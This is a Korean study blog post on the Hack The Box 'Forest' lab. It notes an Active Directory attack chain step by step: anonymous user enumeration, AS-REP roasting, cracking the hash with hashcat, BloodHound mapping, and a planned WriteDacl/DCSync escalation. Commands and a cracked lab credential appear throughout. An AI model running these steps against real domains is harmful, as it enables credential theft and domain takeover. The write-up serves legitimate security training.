본문 바로가기
STUDY/HTB(Hack The Box)

[HTB] Forest (Windows) - 보류 중...

by CH@3M 2024. 3. 7.

Hack the box 나의 첫 윈도우 문제

ldap 관련 취약점인가..

>> kerberos, ldap, ldapssl, golobalcatLDAP가 있다면 Domain Controller라는 의미

nmap -A -T5 10.129.95.210 스캔을 돌리니 추가적인 정보가 더 나왔다.

smbclient를 사용해 보았으나, 얻은 건 없었다.

* TTL(Time To Live) 참고
windows default ttl = 128
linux default ttl = 64
cisco router = 255
128 이상은 network infrastructure

ldapsearch로 도메인을 얻음. 계정은 제대로 나오지 않음. 그래서 다른 도구를 이용해야 했다..

rpcclient command with no username (-U ""), no password (-N) and the command to run in order to enumerate domain users (-c enumdomusers).

enum4linux 라는 도구를 이용.. 윈도우나 삼바 호스트로부터 정보를 나열하는 도구라고 한다. 

enum4linux 10.129.97.21

rpcclient나 enum4linux를 통해 취약한 계정을 얻어냄

$ rpcclient -U "" -N -c enumdomusers 10.129.216.99 > users.txt
$ cut -d[ -f2 ./users.txt | cut -d] -f1

username만 있다면, 1.password spraying 공격 가능 / 2. AS-REPRoasting 공격 가능

GetNPUsers.py > 유효한 사용자가 있는 경우 hash 추출을 해줌.

hash를 파일로 저장해서 hashcat으로 crack하여 패스워드를 알아냄.

hashcat -m 18200 forest.txt /usr/share/wordlists/rockyou.txt -O

LDAP network service -> AD resources 관련 모든 정보를 모아둔 서비스

LDAP null session binding / ldap anonymous session binding

crackmapexec을 이용해 해당 계정이 유효한 것을 확인

crackmapexec smb 10.129.216.99 -u svc-alfresco -p s3rvice -d htb.local

Bloodhound 설치 (https://github.com/dirkjanm/BloodHound.py을 이용해도 됨)

┌─[root@htb-j06etr1qo2]─[~]
└──╼ #git clone "https://github.com/dirkjanm/BloodHound.py.git"
Cloning into 'BloodHound.py'...
remote: Enumerating objects: 1518, done.
remote: Counting objects: 100% (578/578), done.
remote: Compressing objects: 100% (106/106), done.
remote: Total 1518 (delta 510), reused 515 (delta 472), pack-reused 940
Receiving objects: 100% (1518/1518), 553.97 KiB | 11.54 MiB/s, done.
Resolving deltas: 100% (1045/1045), done.
┌─[root@htb-j06etr1qo2]─[~]
└──╼ #ls
BloodHound.py  Documents  go     Music     Public  Templates
Desktop        Downloads  intel  Pictures  roobee  Videos
┌─[root@htb-j06etr1qo2]─[~]
└──╼ #cd BloodHound.py/
┌─[root@htb-j06etr1qo2]─[~/BloodHound.py]
└──╼ #ls
bloodhound     createforestcache.py  LICENSE    setup.py
bloodhound.py  Dockerfile            README.md
┌─[root@htb-j06etr1qo2]─[~/BloodHound.py]
└──╼ #sudo python3 setup.py install

$ sudo bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -c All -dc forest.htb.local --zip

neo4j debian install 

neo4j 실행 후 bloodhound 실행

1. 지금 장악한 user는 svc-alfresco
2. EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL 그룹에 <-- svc-alfresco user를 넣어야 함.  
	GenericAll 권한을 가지고 있기 때문에 이것이 가능함(AD-DACL관련 글 읽어보기)
3. WriteDacl 쓰기 권한을 악용 -> svc-alfresco DCSync 권한 부여해 줄 예정

evil-winrm을 이용하여 DC에 접근. user.txt 획득.

user에 쓰기권한을 주기위해 preview script가 필요함

root.txt는... 좀 더 실력을 쌓고 나중에 다시 해보겠다.. (보류)

1. ldap null session binding -> domain usernames 가져오기
2. AS-REPRoasting -> svc-alfresco // krb5asrep 메세지 포맷 가져옴
3. Decrypt Bruteforce -> svc-alfresco:s3rvice
4. Bloodhound
5. svc-alfresco -> Exchange Windows Permissions
6. Exchange Windows Permission -> svc-alfresco -> WriteDACL -> DCSync
4. DCSync -> Domain Compromise

 

https://www.youtube.com/watch?v=RJeoqce9g0s

https://www.xn--hy1b43d247a.com/privilege-escalation/ad-dacl

반응형

'STUDY > HTB(Hack The Box)' 카테고리의 다른 글

[HTB] Hospital  (0) 2024.04.11
[HTB] Builder  (0) 2024.03.30
[HTB] Wifinetic - Guided Mode  (0) 2024.02.18
[HTB] TwoMillion - Guided Mode  (0) 2024.02.17
[HTB] Keeper  (0) 2024.02.04